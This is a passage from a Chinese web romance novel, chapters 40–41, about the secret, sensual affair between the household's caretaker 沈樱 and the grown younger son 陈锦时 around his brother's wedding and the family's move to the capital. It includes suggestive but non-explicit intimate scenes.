他攥住新婚妻子手腕,面容冷硬,盯着浑身都赖在沈樱身上的陈锦时,对妻子道:“跟我回房,别管他们。” 张若菱被新婚丈夫揽着肩离去。 人一走,沈樱正要扶着陈锦时回房,陈锦时站直身子,浑身上下哪里还有半分醉意? “陈锦时,你!”她瞪着他,训斥,“我还以为你真的醉得不省人事。你在人前胡闹什么?胆子越发大了。” “怕什么?”陈锦时低笑,忽然伸手扣住她的腰,她一个惊呼,整个人已被他拦腰抱起。 “樱樱别动,哥哥都知道的事情,嫂嫂也很快会知道的,你在她跟前装正经,没用的。” 第40章 沈樱在他怀里挣了挣,没什么用。 她感到羞愤不已,为何陈锦时总能做得那般理直气壮? 好像他天生就该是,就该是……她的男人…… 他抱着她往汀兰园走,脚步稳得很。 “陈锦时,你胡叫个什么?”她气道。 “我没胡叫,沈樱,我会娶你,到时候所有人都会知道的,你瞒得过谁呢?为什么要瞒呢?” 沈樱被他说得心头一跳,她张嘴咬着他结实的手臂,闷闷说道:“你有想过我吗?我会背负多少骂名?那些人会指着我鼻子骂。” 她想她这样说他会顾忌一些。 陈锦时忽然停下脚步,抱着她倚在廊下一盏红灯笼旁,她听见他喉间溢出一声轻笑,他俯身把她放下,她坐在栏杆旁,他掌着她的脸颊:“原来你是担心这个,并不是不愿意嫁我啊。” 他从没想过她当真害怕这个。 沈樱挥开他手:“就算咱们之间没这回事儿,我也不可能嫁你。” “沈樱,你怕什么?要是有人敢说你,有一个算一个的,我一脚给他踹飞。” 沈樱静静看他:“你已经长大了,这就是你解决问题的法子?” 红灯笼的光把他脸上那点狡黠的笑意照得清清楚楚:“所以你的意思是,如果有一个,妥当的、合适的法子,你便愿意?” 绕来绕去,又被他绕进去了。 她摇头:“可惜世上不存在这么一个法子。” 陈锦时低笑,坐在她身侧,忽然伸手扣住她的腰,稍一用力便将她整个人轻松提起。 沈樱惊呼一声,下意识拢住他的肩,整个人已被他架着坐在了腿上。 她的臀紧挨着他腿根,他双腿夹拢,她骑在他的一条腿上。 他的斗篷拢过她,隔着厚实的衣料,仍能感到两人肌肤相贴的温热之处。 对着他的目光,她两手搭在他肩上,指腹在他后颈处轻轻摩挲着:“时哥儿,乖一点吧。” 他牢牢锁着她的腰,仿佛在两人周遭圈出一方隐秘的天地。 他的掌心烙得她皮肤发颤,他贴着她耳边低语:“你看,这样多好。” 他的呼吸里还是带着淡淡的酒气,让人意外的,感到很安心。 沈樱缓缓弯下挺直的腰肢、僵直的脊背,缓缓偎在了他怀里,抵靠在他结实的胸膛上,鼻腔里闷闷地“嗯”了一声。 夜风卷着絮絮雪丝掠过,陈锦时下颌抵在她头侧,鼻尖被风刮得通红,那种又冷又涩的寒风拂过他鼻唇,他尽兴地呼吸着,好将这样的感觉与怀中温暖对比起来。 就像是……就像是,与她在茫茫雪地里相依为命。尽管金陵的雪永远是那么软绵绵的,没有一点杀伤力。 沈樱的脸颊贴着他胸前的衣料,能摸到衣料下温热的肌肤,还有那处有力的心跳,一下下撞着她的耳廓。 她难得这样乖顺,任由他将她拥着。 “是啊,这样多好,所以陈锦时,别破坏这一切,就让它这样悄无声息的,缓缓发生,就好了。” 陈锦时没接这话,指腹摩挲着她腰间的衣料,远处传来丫鬟们走动的脚步声,带着灯笼的光晕从走廊尽头晃过。 “该回去了。”沈樱推了推他的肩。 陈锦时无奈松开,看着她从他腿上下去,他紧跟在她身后,回了房。 “这会子,哥哥他们已经在洞房了吧?” 沈樱点亮房里的灯,回头瞪他:“你个半大小子,懂什么?” 陈锦时身子懒洋洋倚在门框上,沈樱抓住他手臂将他拉扯进来,随后将门关上。 他转过身去,从身后环住她的腰,下巴搁在她肩窝里:“我是不是半大小子,阿姆还不知道?” 说着,他拉起她一只手往 自己胸腹上放。 沈樱这才发觉,自己就那么一个转身的功夫,他连上衣都脱了。 手掌直直贴上那滚烫身躯,便像被烫着似的缩回,手肘往后一顶,正撞在他腹心:“一边去!” 陈锦时闷笑出声,非但没松,反而抱得更紧,呼吸拂在她耳廓:“你摸一摸,看看到底是不是半大孩子。” 沈樱把门关得严严实实的,要往里面走,身后那个人跟个癞皮狗一样,死死扒在她身上,不是手在她腰上乱掐,就是鼻子在她颈间乱嗅,边嗅还边发出“嗯嗯啊啊”的气声。 “阿姆……今晚哥哥过好日子,你能不能让我也……” “不能!” “求你了,阿姆,这个家里,我是最可怜的孩子,你是唯一可怜我、疼惜我的……” 赏我一点吧,就一点。 说着,还不等沈樱答话,他已拦腰抱起她,往床上走去。 他不是等人喂进嘴里的那种小孩,他是自己就会取用的那种小孩。 沈樱起先是想的要挣脱的,但她象征性踢了两下,什么也没踢到,一方面,陈锦时的胳膊跟铁一样坚硬,另一方面,他毕竟是她最疼爱的孩子,她想让他如愿以偿。 好吧,其实她自己…… 她只觉天旋地转,后背已轻轻撞在床榻的软褥上,片刻之间,陈锦时的身躯覆上来,他的眼在昏暗中亮得惊人。 沈樱的手腕被他按在枕侧,他的目光在她脸上一寸寸描摹,最后定在她唇上。 “阿姆……”他低唤一声,声音里带着点哑。 沈樱听着他这样的声线,只觉浑身都被架在火上烤。 “陈锦时,现在别这样叫我。” 沈樱偏过头,却被他用指腹捏住下巴转回来。 “为什么呢?阿姆?” 沈樱目光躲闪,她始终做不到直视他直白的目光。 他头渐渐埋下来,那些“阿姆……阿姆……”便一声一声地将她淹没。 “你就是我的阿姆啊……你躲什么呢?” “你永远都是阿姆,永远都是,嗯~我喜欢埋在这里。” 辗转厮磨,唇齿相触,气息交缠,沈樱的手不知何时已攀上他的肩,指尖掐进他后背的皮肉里。 谁让他早就不穿上衣了。 不知过了多久,听见外面隐隐约约嘈杂,新房里在叫水,这倒也天经地义。 他稍稍退开些,额头抵着她的,沈樱微喘着睁开眼,他唇上有湿润、微红、被吮吸的痕迹——她留下的。这很不天经地义。 他从她身上下来:“阿姆,你等一会儿,我去打水给你洗漱。” 沈樱拉住他:“别去。” 陈锦时别过头,疑惑地看着她:“为什么不让我去?” “外面都是人,你若是这时候从我院子里出去,多不像个样子。” 陈锦时歪着嘴笑:“那边眼瞧着要闹上一夜,阿姆的意思,我今晚可以一直留在这里?” “胡说什么,等会儿外面没人了,你就出去,记得悄悄的,别引起人注意。” “那我不出去。”他关上房门,又到床上趴下,侧躺在她身边,扯过她的被子。 他顺势往她怀里钻,把脸埋在她颈窝处:“外面那么冷,还是阿姆的被窝暖和。” 烛火渐渐弱了,只剩下一点昏黄,沈樱望着胸前那团乌黑的发,忽然想起他小时候的模样。 就好像,什么都没有变过,陈锦时就是这样,一直在她怀里待着,长大了而已。 长大了比小时候温顺、听话,但是多了一丝攻击性。 但占有她、圈地盘的这件事,跟小时候一般无二。 就好像,一切都是命中注定。 “睡吧。”她叹了口气。 他在她怀里蹭了蹭,很快就传来均匀的呼吸声,仍旧没穿上衣,但沈樱裹得严实,他也并未对此提出请求。 她睁开眼,借着微弱的光看他熟睡的脸,他的眉眼在昏暗中显得格外柔和,嗯,是乖孩子。 天光透过窗棂漫进来时,沈樱先醒了。 身侧的人还睡得沉,她低头看了眼,陈锦时的胳膊牢牢圈着她的腰,裸着的肩背抵在被外,却还是浑身火热。 她伸出手,想把被子往他那边拉些,他含糊地哼了声“阿姆”,眼都没睁。 直到门外有丫鬟在喊:“沈姑娘醒了吗?大爷跟大奶奶要过来敬茶,问您起了吗?” 沈樱心头一紧,用力推开陈锦时,轻声道:“醒醒,你该走了。” 陈锦时睫毛颤了颤,慢悠悠睁开眼,眼神里还有些惺忪。 “阿姆,你怎的连个觉也不让人好好睡?” 沈樱掀开被子,见不得他光着个身子,连忙拿衣裳往他身上裹,一时,给他披了件谁的衣裳也不知道。 陈锦时皱眉坐起,外头又喊:“沈姑娘?人已经来了,就在门外候着。” 见陈锦时一动也不动,沈樱又气又急,指着窗边:“从后窗走,动作快点!” 她拽了拽他,陈锦时挑眉看着她慌慌张张的模样,动作越发慢条斯理,晨光里,他裸着的胸膛泛着光泽,线条利落。 “阿姆亲我一下,我就走。” “陈锦时,别胡闹。” 他以为沈樱现在不敢不应。 沈樱瞪了他一眼:“那你就在这儿待着吧!” 陈锦时笑得眉眼弯弯,正乐得于此。他慢悠悠往床头一靠,她刚刚给他披的衣裳明显小了,早就垮了下去,裸着的肩头越发惹眼,晨光淌在他身上,把肌理照得愈发分明。 那是件水绿色的绸衫,缠在他腰上,随着呼吸,绷紧,散落,绷紧,散落。 他目送沈樱快步走到妆台前,她昨晚穿着的寝衣领口没形没状地敞开着,底下的肌肤泛红,她忙拢得严严实实。 外面的人显是不信沈姑娘这么晚还没起,便又叫了一声,沈樱随手从妆奁里捡了支簪子绾住长发,回道:“起了,叫他们在花厅里候着。” 这个家里谁不知道沈姑娘从来习惯早起,这突然晚起一回,难免让新妇心里忐忑,莫非……这是专给她的下马威? 见大奶奶心急,底下人难免多喊了沈樱两回。 不过片刻功夫,沈樱已收拾得端庄得体,只是回头一看见陈锦时半仰在她床上,怎一个秀色可餐了得,难免红了脸。 她指着他警告:“你且在这儿待着,不许出声,不许乱动!” 他把玩着腰间的水绿绸衫,其实沈樱很少有这般妖娇颜色的衣裳,只是恰好就这么一件,缠到了他精干的腰上。 “知道了,阿姆,我会乖乖的。”说着,他把那绸衫拿在鼻尖嗅了嗅,又躺下,躺在她的枕头上,下半身裹着她的被子,上半身完全袒露,两颗粉色珠就随着呼吸在胸膛上起伏。他一点也没有羞耻心在身上的,在朝向她的时候,要更凸起一些。 沈樱深吸了口气,理了理裙摆,转身绕过屏风出去。 她拉开门,廊下的晨光正好。 “叫他们进来吧。” 她回到上位端端坐下,不多时,陈锦行和张若菱并肩走进来。 新妇穿着一身石榴红的锦裙,头上的赤金步摇轻轻晃着,见了沈樱,怯生生地福身:“给阿姆请安。” 她选择在一个十足合理的时辰过来敬茶,却还是在门口等了许久,很难不心怀忐忑,这是否是个有意的怠慢? 沈樱显然完全体会她这样的心理,并且深深自责自己引起了对方这样的误会。 她向来是个心地很柔软的人,她起身,亲自走到张若菱身前,扶起她:“昨晚有些贪杯,今日才起晚了,真是抱歉。” 张若菱被她亲手扶起,愣了愣才反应过来:“是我们来得唐突了。” 心里那些忐忑散去了大半,只觉这位沈姑娘比传闻中更温和些。 陈锦行悄无声息地打量了一圈沈樱,对方耳尖舵红,神色却坦荡,头发是随意绾起的,衣裳穿得不很正式,却裹得严实。 沈樱往高位上坐了,眼见两人就要跪下,她心头一跳。 她忙道:“锦行!快把你媳妇扶起来。我用不着你们跪。” 这话听在张若菱耳朵里,像是一句客气 话,可紧接着,丈夫的手忽然牢牢钳住她手臂,将她拎起身,站直了。 张若菱一愣,陈锦行接收到了沈樱的请求和暗示,并且表示成全。 既然她不愿难堪,陈锦行便听她的,尽管,他比谁都不想承认阿姆和弟弟的事情。 张若菱还在发愣,陈锦行已将茶盏递到沈樱面前,语气恭敬,只微微俯身:“阿姆请用茶。” 沈樱接过茶盏,只微微抿了一口,勉强笑了笑,便放下了。 张若菱回神,连忙将茶盏奉上。她偷偷看了眼陈锦行,打量并思考了一会儿,总算明白,沈姑娘不愿居于长辈之位。 沈樱接过她的茶,温声道:“往后这家里的事,有不懂的就问锦行,或是来问我也行。家里另外两个孩子,一个锦时,他已经长大了,你别搭理他就是,还有个锦云,寻常也用不着你多操心,但毕竟是个女孩子,她将来及笄、出嫁,都要劳你费心了。另外,这是府上对牌,库房的钥匙,这个家里大半的家财都是将军留下的,还望你今后好生打理经营。” 张若菱连忙点头,接过沈樱递给她的,装着对牌和钥匙的沉甸甸的托盘。 她与父母亲都对这门婚事很满意,陈家大房如今门楣与二房、三房不同不说,陈锦行完全称得上是张家提早押中的宝。 上没有公公婆婆,下只有两个已经长大的弟妹,家财丰厚,她嫁过来便能直接执掌,沈姑娘在这个家虽地位不凡,却并没有什么要打压她或是不肯放权的意思,她刚来的第一天,便把整个家业全部交给她了。 自然,掌多大的权,便要承担多少的事。 “别的没什么,时哥儿他……格外难管教些,日后若我走了,还望你这个做长嫂的,管着点他。” 张若菱听得认真,此刻却面露惊讶:“沈姑娘要走?” 陈锦行解释道:“阿姆当然不会在这里待一辈子,阿姆将来有自己的日子要过。” “我还以为……阿姆会在这里……”被他们几个奉养一辈子。 张若菱还在喃喃细语,内室忽然传来“窸窣窸窣”的动静。 沈樱端着茶盏的手轻轻一颤,脸色白了几分。 陈锦行与张若菱也齐齐往里间看去。 “这是……里面有人?” 沈樱忙道:“许是有耗子。” “耗子?阿姆这房间里还闹耗子?”张若菱眨了眨眼,刚要细问,被陈锦行拉住手臂握了握。 陈锦行眉头蹙起,目光沉沉地落在沈樱身上,扫视过一圈,又望向屏风里侧。 他脸色很沉,他比谁都清楚,那“耗子”分明是他那个无法无天的弟弟。 陈锦时,你未免进展有些太快了,你真的是,太肆无忌惮了。 陈锦行回过头,故作姿态:“早就让阿姆房里别总留着那些上了年头的老家具了,容易藏些脏东西,改日得叫人进来特地清扫一遍才好。” 沈樱勉强牵起嘴角附和:“锦行说得是,就依你的。” 张若菱手上刚接过对牌,连忙道:“这事儿我来安排,阿姆不必操心。” 沈樱只觉后背发烫,忙岔开话题:“时辰不早了,你们新婚燕尔,该回房歇着。府里的账册我已理好了,晚些叫陈兴给你送去过目。” 张若菱刚应下,内室忽然又传来一声闷响,像是重物坠地,又夹杂着布料摩擦的窸窣声,她目光不由自主地往屏风后面瞟,这动静哪像耗子能弄出来的? 沈樱指尖冰凉,强作镇定地对陈锦行道:“还愣着做什么?锦行。” 话应刚落,陈锦行便把张若菱拉着出去。 “阿姆,我们先告退了。” 目送两人彻底消失,沈樱起身关上门,冷着脸来到里间。 她压低声音,语气里带着压抑的怒火:“陈锦时,你闹够了没有?” 陈锦时从地上爬起来,赤着上身,故意摆出荒唐景致。 沈樱猛地避开眼:“你在发什么疯?” 他轻笑了一声:“阿姆,我在替你逮耗子。” 沈樱瞪他:“我房里没有耗子,你给我滚出去。” 说着,她伸手推他走,总算看清楚他的衣裳是哪一件,连忙捡起来往他光溜溜的身上搭。 “阿姆,我错了。我就是……不想你走,我一听到你说要走的话,我就控制不住我自己。” 就在沈樱怔愣的片刻,他又得了逞,反客为主,把她抵在墙上,吻她的唇。 他膝盖莽撞地抵开她的腿,舌尖撬开她的唇齿。 “唔——”她偏过头腰躲开,气息乱得不成样子。 他的呼吸烫得她皮肤发颤:“阿姆,求你了。” 他沙哑而低沉又带着祈求的嗓音实在令人痴迷,她恍惚间答应了他的请求。 她开始回应他的吻,开始在他的身体和墙角的夹缝间,变得双腿发软,需要倚靠他才能站立。 他吻得越来越急切,而她全然接招。 沈樱的手不知何时攀上他的肩,搂住他的脖颈,以此来借力,以便更好的深入。 可惜房间内天光大亮,在陈兴在外叩门的第一瞬,沈樱就从那样的痴迷中脱离出来。 她抽开陈锦时,唇舌也跟着抽离,“啵”的一声。 他缓缓睁开尚且迷蒙粘连的眼,委屈而不解的看着她,直到门外再次传来声响:“沈姑娘,你在吗?账上出了些差错,我想了想,还是先弄清楚了再交到大奶奶那儿去比较好。” 她朝他:“嘘——” 陈锦时无奈退开。 她走出他的包围,走到外间,打开门,与陈兴就站在门口交谈。 陈锦时轻声跟过去,隐在门后,光照不进的地方。 她从陈兴手中接过账本,感受到他藏在门板后的视线,手心一阵汗津津。 “哪处不对?”她声音尽量放平,领口的衣襟不知何时散开了些,露出底下薄红的肌肤,刚被陈锦时吮过的地方。 好在陈兴并不敢乱看,只低头翻着账册:“上月采买的云锦,账上记了十匹,库房只入了八匹……” 那些话语并不能很好的传入沈樱的耳中。 直到陈兴察觉,已经过去好一会儿了。 “沈姑娘?” “嗯?”沈樱回神,“许是路上损耗了……” 后腰被人轻轻抚摸着,若有似无的呼吸,拂在她后颈。 “路上应当不会损耗这么多。”陈兴还在较真。 沈樱一个字也听不进去了。陈锦时的手正顺着她的腰线往下滑。 那动作隐秘而大胆,像在无声嘲笑她此刻的故作端庄。 那时候的想象,成真了。 他视线的质感变成了实质。 就好像有人的两只手掌……。 是真的。 她能想象隐在门后,他的模样,她侧身倚在门框上,没有透出半点缝隙,好似天生给他留的放肆机会。 你太放肆了,陈锦时。 她手捧着账本,手指微微颤抖。 陈兴的声音像隔着一层水面,嗡嗡地漫进耳朵。 那只手掌忽然加重了力道,沈樱猛地合上账本:“我知道了,此事容后再议。” 陈兴一愣,这才认真打量起沈姑娘来。 对方毕竟是主子,尽管觉得对方有些不对劲,他也不好肆意打量。 “还有别的事吗?”她的声音发紧,刻意维持冷硬。她有点狼狈,那只手像是在丈量她的臀线,此时她已知道,他的手掌正好足够完全包裹。 “没有了。”她突如其来的冷硬姿态让人觉得诧异,陈兴连忙接过账册,“那我查清楚了再来。” “去吧。”沈樱几乎是咬着牙说出这两个字,直到那脚步声彻底消失在回廊尽头,她才猛地转身关门,被门后陡然压上来的身躯撞得踉跄。 那只手顺势上移,在她腰侧停留,另一只手撑在门板上,将她困在怀里。 “你脸红了,沈樱。” 他手掌从门板下来,放在她脸上,仍旧滚烫。 沈樱没好气:“陈锦时,这寒冬腊月的,你是不知道冷吗?还不快去把衣裳穿起来!” 他裸着上身在她跟前晃悠一上午了! 他俯身吻她唇角,气息滚烫:“你摸摸我,就知道我冷不冷了。” 他把她的手放在身上任 意一处,她知道,他浑身滚烫,烫得巴不得变成一个火炉。 两人踉踉跄跄往内室走,沈樱被他按在床榻边,后腰撞在床沿,他半跪在地,滚烫的呼吸已拂在她小腹处。 指尖刚掀起上袄的边角,就被她死死按住。 他仰头望她:“阿姆,我永生永世都会侍奉你。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-45 第41章 他的手没能探进去,隔着薄薄的中衣,沈樱浑身一颤。 他企图用跪地的姿态来获得她的许可,就好像,他做这一切都只是为了,更好的侍奉她罢了。 一点也不是为了一己私欲。 沈樱指尖掐住他裸着的肩头,“谁要你这样侍奉?”她声音发哑。 “小时候你教我,想要什么就得自己去争。我听你的话,想要你,便就这样一步一步占有,有错吗?” 就那一个晃神,他的手忽然顺着衣摆缝隙钻进去,掌心贴着她后腰的肌肤往上攀,粗粝的指腹碾过脊椎。 她一时失语,那个时候她对他还不太了解,只是说了一句对任何孩子都通用的话罢了,却没想到他天生就是个霸王。 想要什么自己去争,这句话本没有错。 可他争得太横行霸道,她稍不注意,他就能更进一步。 “放开……”她的话很快被他突如其来的吻堵在喉咙里。 他仍是跪地的姿态,他仰着头吻她,用长而有力的手臂捞住她的脖颈,降下她原本高昂的头颅。 “你看,阿姆也不是不愿意。”他含糊地哼着,指尖已摸到她胸前地系带,轻轻一扯。 他的吻顺势落下,沈樱惊呼着推开他,拢了拢衣襟,他向后坐倒在地。 已是正午,阳光躺进来,照得他脊背发光。 乖孩子长大了,探出了尖利的獠牙,已不满足于她从前让步的微小奖赏。 陈锦时只望着她笑,当真没再进一步。 她将他的衣裳扔到他头上:“穿上,滚出去。” 陈锦时慢条斯理扯下衣裳,脸上显出几分漫不经心的顽劣,却乖乖把衣裳往身上套。 沈樱别过脸,耳根不受控制地发烫。 他已系好腰带,几步凑到她跟前:“阿姆,我读书去了,你乖乖的。” 她抬头瞪他,却撞进他含笑的眼底。 这人,以前从不私下唤她“阿姆”,到了如今了,动不动就这样喊她。 “滚。”她从牙缝里挤出一个字,转身往妆台走,脚步还有些虚浮。 腊月初八的雪下得绵密,大奶奶进门已有半月光景。 一家人便商量了,赶在年前把家搬到京城去。 一则,陈锦行领了太医院的差事,往后得留在京里办差;二则,陈锦时明春也要进京赴考,比起到时候再来回折腾的,不如一家子直接搬过去。 陈家生意上的事情暂且由几个老掌柜帮忙,沈樱的“都兰蒙药”,便是交由了苏兰舟照管。 沈樱从前打算在金陵开药铺,图的便是离了陈家她也有处可去、有事可做的目的,但是如今……且不说两个哥儿往后的前程都是在京城的,她更不能表面离开陈家,实际上还与陈锦时抬头不见低头见的。她打算,等陈锦时考完试,她就回楼烦去,并且已写信回家告知了父兄。 大抵她命中注定,就是在金陵留不下的。 汀兰园的梅花枝头上已缀满了花苞,沈樱正倚在窗边闲坐,张若菱在她身旁核对进京的箱笼清单,时不时与她说上两句。 “锦云的狐裘,还有她常穿的那几件夹袄,都已经叠好装在樟木箱里了;时哥儿的书匣太多,我让小厮们单独捆了。” 沈樱望着窗外落雪,梅枝被压得微微低垂,雪沫子簌簌往下掉。 “都妥帖。”她轻声应着,“他的书要分类标记好,省得到时他找不到。” 张若菱抿嘴笑了笑:“是,我是这么办的。说起来,二弟这几日倒用功,每日天不亮就起来温书,明春定能给家里考个进士回来。若真能如此,过两年要说亲的时候,眼睛就能再往头顶长一长了。” 出过进士的门第,自然不同,张若菱身为长嫂,一百个愿意照顾陈锦时,期盼着他考中。 沈樱笑着看她,取笑道:“妹妹就不怕,新来的妯娌出身太好,压你一头?” 张若菱脸颊微红,捏着手上对牌,支支吾吾道:“长幼有序,不管怎么说,名分上我也不输谁,我自然是盼着二弟好的。” 沈樱轻轻避开张若菱的眼神,看着手中茶盏晃出的涟漪,微怔着。 是啊,若陈锦时要娶她,她成了府上二奶奶,那像个什么样子? 简直是纲常颠倒,不成体统。 倒也不是她不愿伏低做小,到时张若菱成了她长嫂,坐在她上位。 这样只是……真的好奇怪。 在这样的门第,在这样的宅院,就好像,天理不容一般。 沈樱轻轻摇着头,再说少年人的热情能有几时,她也不过只是想想罢了。 “这事说到底也还早,再说了,给他娶个什么样的媳妇,还不是你这个长嫂说了算,到时挑个合心意的也就是了,未必要挑那门第高的,一家子,和和气气的才是最好的。”沈樱如此说着。 张若菱听了这话,试探问道:“听阿姆这话,难不成,在府中已不会……” “嗯。明春时哥儿考完试,我也差不多是时候走了。只是这话,你可千万别跟他说。” 张若菱颔首:“我晓得的。” 十二的清晨,天还没凉透,两兄弟只提前与老爷子跟老太太递了个信儿,那边还没反应过来,这边就要启程了。 两兄弟丧母又丧父,眼瞧着成不了什么气候了,一转眼,却一个领了太医院的差事,一个又要进京赶考,前程大着呢。 丫鬟仆妇们踩着薄雪往来穿梭,搬着箱子,小厮们拎着书匣,沈樱披了件石青镶灰鼠毛边的斗篷,天色昏暗,她打起精神帮着张氏指使人干活。 “装书的箱子要轻点搬。” 正说着,后腰扶上来一只手掌,陈锦时身上的气味太过熟悉了,她不需要回头,也知道在她身侧站着的是谁。 他自然而然地抓起她的手,握了握。 “阿姆,你手有些凉,我给你捂捂。” 大庭广众地将她两只手捂在掌心里。 偏他这话也是大声说的,满堂便无一人觉得他此番动作不妥。 就连站在她身旁的张氏都笑着说:“外传时哥儿极有孝心,我今儿见了才知是真的。” 沈樱感受着他指腹的温热粗粝,无话可说。 陈锦时淡淡瞥过长嫂,暗忖:这女人好生迟钝,没他哥半点机灵。 沈樱被他握了一会儿,轻轻抽回手,老这么牵着,不好。 陈锦时见她手暖和起来了,也不执拗,只是一松开她,手又极其不经意地蹭过她颈侧。 “阿姆,你斗篷的带子都松了,我给你系好。” 他正面对着她站,系带的动作很慢,故意把时间拉得无限长。 他们的呼吸交缠,斗篷领口的蓬松狐狸毛便轻轻颤动。张若菱在一旁笑得慈和。 不一会儿,陈锦行也来了,陈锦时恰好退开,与沈樱并肩站着。 “马车都备好了,雪势小了些,再不走怕又要耽搁了。”陈锦行道。 沈樱点点头,转身吩咐丫鬟把最后一笼炭火搬到车上。陈锦时跟在她身后,亦步亦趋,陈锦行觉得他像条离不开主人的狗。 陈锦云睡眼惺忪,跟在张氏身边,尽管再不习惯,她也知道自己不该再依赖阿姆,往后家里正应该照顾她的人是长嫂。 五个人,两辆大马车。 陈锦行、陈锦时在前,沈樱、张若菱、陈锦云在后。 张氏要扶沈樱先上马车,被陈锦时接手了过去,他替她掀起厚重的车帘,在外人面前,微微躬身,掌心虚虚护在她头顶。 沈樱最后看了眼这座宅子,她可能不会再回到这里来了,明年她如果 要走的话,她大抵会直接离去。 这座宅子里尽是她与将军的回忆,将军把她带到这里来,她才与宅子里的这些人建立联系,才与陈锦时…… 陈锦时极为不舍地离开她的手肘,沈樱已在车厢内落座,随后陈锦行将他的夫人扶上来,新婚燕尔,动作里瞧得出的恩爱温柔。 沈樱靠在车壁上,指尖无意识地摩挲着斗篷领口的狐狸毛。 “阿姆,这个给你。”锦云手里捧着一摊用手帕裹好的榛子仁。 沈樱怔了一瞬,这条手帕还是陈锦时那日从她衣柜里翻出来的那条。 “二哥叫我给你的。” 张若菱在一旁笑道:“时哥儿看着粗,实则比谁都贴心。” 沈樱接过那一捧剥好的榛子仁,放了一颗进嘴里,坚果的清香滋味在舌尖漫开,她心里又酸又软。 旁人看不破,只当那些东西叫“孝心”“体贴”,却不知那底下夹杂着的不堪情意。 正陷入那样阴暗的、不见天日的情绪之中,沈樱差点又要不能原谅自己了,连舌尖的榛子仁也逐渐变成苦涩滋味。 她们的车帘忽然被掀开一角,随即,陈锦时的脸就挂在那里,目光直直落在她身上,笑容爽朗:“阿姆,吃完了再问我要。” 原来他没上马车,而是骑了匹马,紧紧跟在她们车厢旁。 沈樱诧异抬头看他,撞进他清亮的眼眸里。 她还没来得及开口,张氏便道:“呀!时哥儿,这么冷的天儿,你何必在外头骑马呢?” 陈锦时没立刻放下车帘,只望着沈樱:“对了,阿姆,你看见你园子里种的花儿开了吗?我折了枝放在你箱笼的最上层,用棉絮裹着的,到了京里应该还能活。” 那是她费了好些心神也种不开的花,前一阵儿她听了陈锦时的,埋了鱼肠肥进去,今冬竟然开花了。 陈锦时这才笑着朝嫂嫂摆摆手:“我身子骨好着呢,可不像我哥那么弱,嫂嫂放心。” 他终于放下车帘,那双清亮又赤诚的眸子便被彻底隔绝。 沈樱捏着手里的榛子仁,指尖微微发颤。 他离开了她的视线,尽管她知道,他就牢牢跟在身边,她还是……走不出来。 他的笑意烙印在她心口,烫得她心口发慌。 “这孩子,倒真把你的喜好记在心上。”张若菱替陈锦云理了理斗篷,语气里满是感慨,“你呀,就该一直留在府里,你若是要走,我真不知他要闹成个什么样。” 沈樱“嗯”了一声,又往嘴里塞了颗榛子。 她若是留在府里,才不知最后要闹成个什么样。 用牙尖轻轻咬下,然后缓缓嚼碎,细细体会其中滋味。 车外的马蹄声与车轮碾过的节奏重合,不疾不徐,踏在她心尖上。 沈樱悄悄掀起车帘一角,陈锦时骑在马上,披着玄色斗篷。他似是有感应般回头,正好撞上她的目光,她本是要后撤的,却看见他唇边扬起的笑。 她怔了一瞬,痴痴望着他。 他便扯动缰绳靠她更近了些:“阿姆,怎么了?” 沈樱猛地放下车帘,耳根发烫:“没怎么。” 她又听见外面传来声音:“阿姆,你想要什么了,喊我一声就成,我一直在这儿。” 沈樱没吭声,陈锦云凑过来问:“阿姆,你别信二哥有这么好,他可坏了。” 沈樱心头一跳,却笑着道:“他欺负你了?我瞧他这些日子挺好的呀。” “二哥才不是,阿姆别被他给骗了,他都是装的。” 张若菱在一旁笑:“傻丫头,你二哥现在长大了,早不像从前那么坏了,再说你二哥对你阿姆敬重,这是生而为人的根本,哪能说他是装的?” 陈锦云“哦”了一声,沈樱把脸贴在微凉的车壁上,才能缓解脸上不受控制的发烫。 方才他凑近时,风卷着他身上的气息,清爽凛冽的扑面而来。 她望进他的眼,他明目张胆地将妄念刻在眼底,用着最坦荡的姿态。 她心如擂鼓。 不知走了多久,马车慢下来。 “前面有个茶寮,要不要下来歇歇脚?”陈锦时的声音隔着车帘传进来。 一家子人小的小,弱的弱,没必要一直赶路。 沈樱从马车上下来,雪后的日头有些晃眼。 茶寮里生着炭火,暖意融融。 陈锦时上前扶住她,皱了皱眉,不由分说地把她的手裹进自己掌心:“手怎么这么凉?” 张若菱牵着陈锦云先进去了,留下他们俩站在门口。 风卷着雪沫子过来,他微微侧过身,用自己的肩挡住风口,将她双手拢在手里,轻轻呵气。 “好些了吗?还冷吗?” 陈锦行走过来,沈樱见了他,抽回手,转身往茶寮里走。 陈锦时回头看了他哥一眼,陈锦行眼眸深沉,他却不怕,挑衅似的道:“早不来晚不来。” 陈锦行立刻冷声将他戳穿:“茶寮里比外面暖和得多,你既是怕她冷,还拉着她站在门口?” 陈锦时眼底闪过一丝笑意,道:“阿姆是楼烦人,她会怕冷?哥,你根本不懂我。” 她的手从始至终都热得像一团火。 “我是不懂你的把戏。”陈锦行语气轻蔑。 说着,陈锦行绕过他,也进了茶寮。 陈锦时紧接着跟进去。 茶寮里的掌柜笑着迎客,这两位爷一个比一个身姿气派。 几人围着一张桌子坐下。 “来壶热茶,再来些干净的点心。”陈锦行如今身为一家之主,出门在外自有威严,“锦云想吃什么?” 陈锦云道:“要糖糕,还要酥饼。” 陈锦行又要问沈樱,掌柜已经把热茶端过来了,见了这一桌子贵客,两两并挨着,带着个小女孩,便道:“外头天冷,几位快喝点热茶缓缓。” 见陈锦时又把沈樱的手牵过来揣着,打趣道:“这位爷对夫人可真上心。” 此言一出,陈锦行面不改色,张若菱倒是张张嘴想替人解释。 陈锦时已先一步开口:“这是我阿姆,自然要上心些。” 掌柜一愣,自己刚刚看错了身份,这在客人面前可是大罪过,连声赔不是:“那您真有孝心。” 沈樱怔怔抽回手,陈锦时你…… 陈锦时仍然坦坦荡荡的,把她的手又拽过去,揉揉搓搓:“阿姆刚从车上下来,是不是冻着了?” 这语气亲昵又自然,沈樱彻底不知道该拿他怎么办了。 “酥饼来了。”张若菱难得的,终于察觉了一丝隐秘气息,她拿了块酥饼递到陈锦云手里,“拿着吃吧。” 陈锦时不可能安分,又剥了颗栗子,递到她唇边。 沈樱偏头躲开,他手又跟着过去,若她再躲,动作就太明显了。 便张口,轻轻咬住,含进嘴里。 陈锦时变本加厉,不断地往她嘴边送去不少东西,她一一吞下。 歇了约莫半个时辰,风雪渐停,陈锦行道:“得赶路了,今夜得到前面的镇子落脚。” 沈樱松了口气,在这个地方,所有人都在审判她,把她当做陈锦时的阿姆来审判。 